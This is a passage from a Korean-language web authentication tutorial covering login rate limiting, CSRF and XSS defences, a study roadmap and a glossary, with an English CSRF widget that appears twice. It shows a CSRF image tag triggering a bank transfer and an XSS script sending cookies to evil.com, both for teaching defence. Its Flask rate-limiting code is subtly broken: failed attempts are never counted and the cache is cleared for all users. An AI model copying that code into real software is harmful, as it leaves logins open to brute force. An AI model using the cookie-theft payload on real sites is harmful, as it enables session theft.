    if now - first_attempt > 60:
        get_login_attempts.cache_clear()
        return True

    # 5회 초과 시 거부
    if attempts >= 5:
        return False

    return True

def record_login_attempt(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    if attempts == 0:
        first_attempt = time.time()
    get_login_attempts.cache_clear()
    get_login_attempts(identifier)  # 다시 캐시

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]

    # 속도 제한 확인
    if not check_rate_limit(username):
        return {"error": "시도 횟수가 너무 많습니다. 1분 후에 다시 시도해 주세요"}, 429

    password = request.json["password"]

    # 비밀번호 검증
    user = db.get_user_by_username(username)
    if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
        # 로그인 성공, 카운트 초기화
        get_login_attempts.cache_clear()
        return {"token": generate_token(user)}
    else:
        # 로그인 실패, 기록
        record_login_attempt(username)
        return {"error": "사용자 이름 또는 비밀번호가 잘못되었습니다"}, 401

5.3 CSRF 방어 (Cross-Site Request Forgery) ​

공격 시나리오: 당신이 은행 웹사이트 bank.com에 로그인한 후, 악성 웹사이트 evil.com을 방문했습니다. evil.com의 페이지에는 다음과 같은 코드가 있습니다:

html
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" />

당신의 브라우저는 은행의 Cookie를 포함하여 이 요청을 전송하고(크로스 도메인 요청), 자금이 이체됩니다.

방어 조치:

  1. CSRF Token:
    • 서버 측에서 무작위 Token을 생성하여 폼에 포함시킵니다.
    • 제출 시 Token이 일치하는지 검증합니다.
python
from flask import session

@app.route("/api/transfer", methods=["POST"])
def transfer():
    # CSRF Token 검증
    token = request.headers.get("X-CSRF-Token")
    if token != session.get("csrf_token"):
        return {"error": "CSRF Token이 유효하지 않습니다"}, 403

    # 이체 실행
    ...
  1. SameSite Cookie:
    • Cookie의 SameSite 속성을 Strict 또는 Lax로 설정합니다.
python
# Flask 예시
app.config.update(
    SESSION_COOKIE_SAMESITE='Lax',  # 또는 'Strict'
    SESSION_COOKIE_SECURE=True      # HTTPS만 허용
)
  1. JWT 사용 (Cookie 미사용):
    • JWT는 localStorage에 저장되며 자동으로 포함되지 않아 기본적으로 CSRF에 안전합니다.
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

5.4 XSS 방어 (Cross-Site Scripting) ​

공격 시나리오: 악성 사용자가 댓글란에 다음과 같이 입력합니다:

html
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

웹사이트가 이 내용을 그대로 렌더링하면, 다른 사용자의 Cookie가 도난당합니다.

방어 조치:

  1. 출력 이스케이프:
    • <를 &lt;로, >를 &gt;로 변환합니다.
python
import html

def render_comment(comment):
    # HTML 이스케이프
    safe_comment = html.escape(comment)
    return f"<div class='comment'>{safe_comment}</div>"
  1. Content Security Policy (CSP):
    • HTTP 헤더를 설정하여 스크립트 출처를 제한합니다.
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
  1. HttpOnly Cookie:
    • Cookie의 HttpOnly 속성을 설정하면 JavaScript로 읽을 수 없습니다.
python
app.config.update(
    SESSION_COOKIE_HTTPONLY=True
)
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

6. 정리 및 학습 로드맵 ​

인증은 백엔드 시스템의 "기본기"이며, 이를 숙지해야 안전하고 신뢰할 수 있는 애플리케이션을 구축할 수 있습니다.

6.1 핵심 지식 포인트 ​

지식 포인트중요도난이도실전 빈도
Session + Cookie⭐⭐⭐⭐중높음
JWT⭐⭐⭐⭐⭐하매우 높음
OAuth 2.0⭐⭐⭐⭐상높음
비밀번호 해시 (bcrypt)⭐⭐⭐⭐⭐하매우 높음
속도 제한 및 무차별 대입 방지⭐⭐⭐⭐⭐중매우 높음
CSRF 방어⭐⭐⭐⭐중중간
XSS 방어⭐⭐⭐⭐하높음

6.2 학습 로드맵 ​

  1. 입문 (1-2일):

    • 인증 vs 권한 부여의 개념 이해.
    • Session + Cookie의 원리 숙지.
    • 간단한 로그인/회원가입 기능 구현.
  2. 심화 (1주):

    • JWT의 원리와 구현 학습.
    • JWT 기반 인증 시스템 구현.
    • 비밀번호 해시 (bcrypt) 숙지.
  3. 실전 (2-4주):

    • OAuth 2.0 통합 (위챗, Google 로그인).
    • 속도 제한, 무차별 대입 공격 방지 구현.
    • CSRF, XSS 등 일반적인 공격 방어.
  4. 심층 (지속적):

    • RBAC (역할 기반 접근 제어) 학습.
    • SSO (Single Sign-On) 연구.
    • Zero Trust Architecture (제로 트러스트 아키텍처) 탐구.

6.3 추천 자료 ​

  • 표준:
    • RFC 6749 (OAuth 2.0)
    • RFC 7519 (JWT)
  • 문서:
    • JWT.io: https://jwt.io/
    • OAuth 2.0 간체 중국어판: https://oauth.net/2/
  • 도구:
    • jwt.io (JWT 온라인 디버깅)
    • Postman (API 테스트)

7. 용어집 (Glossary) ​

용어전체 이름설명
AuthNAuthentication인증. "당신은 누구인가"를 확인합니다 (예: 비밀번호 입력으로 신원 확인).
AuthZAuthorization권한 부여. "당신은 무엇을 할 수 있는가"를 확인합니다 (예: 관리자만 삭제 가능).
Session-세션. 서버 측에 저장된 사용자 상태 정보입니다.
Cookie-쿠키. 브라우저에 저장되는 작은 데이터 조각으로, 매 요청마다 자동으로 포함됩니다.
JWTJSON Web TokenJSON 웹 토큰. Header, Payload, Signature 세 부분으로 구성된 무상태 인증 방식입니다.
OAuth 2.0-개방형 인증. 서드파티 로그인의 표준화된 프레임워크입니다 (예: "위챗으로 로그인").
SSOSingle Sign-On싱글 사인온. 한 번 로그인하면 여러 애플리케이션에 접근할 수 있습니다 (예: Google 계정으로 모든 Google 서비스에 로그인).
RBACRole-Based Access Control역할 기반 접근 제어. 사용자의 역할(예: admin, user)에 따라 권한을 결정합니다.
CSRFCross-Site Request Forgery크로스 사이트 요청 위조. 공격자가 사용자를 유도하여 악의적인 요청을 보내게 합니다 (예: 당신의 Cookie로 이체 요청).
XSSCross-Site Scripting크로스 사이트 스크립팅. 공격자가 웹페이지에 악성 스크립트를 주입합니다 (예: Cookie 탈취).
bcrypt-비밀번호 해시 알고리즘. 비밀번호 저장에 특화된 느린 해시 알고리즘으로, 무차별 대입 공격을 방지합니다.
Access Token-액세스 토큰. API 접근에 사용되는 단기 유효 토큰입니다.
Refresh Token-리프레시 토큰. 새로운 Access Token을 발급받기 위한 장기 유효 토큰입니다.
Scope-권한 범위. OAuth 2.0의 개념으로, 서드파티 애플리케이션이 요청하는 권한을 나타냅니다 (예: 사용자 정보 읽기).
PKCEProof Key for Code Exchange코드 교환을 위한 증명 키. OAuth 2.0의 확장으로, 퍼블릭 클라이언트(예: SPA)의 보안을 강화합니다.
Edit this page on GitHub
Pager
이전 페이지직렬화: 데이터의 "번역"
다음 페이지동시성, 비동기와 멀티스레딩

京ICP备2026002630号-1 | 京公网安备11010602202215号

本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 进行许可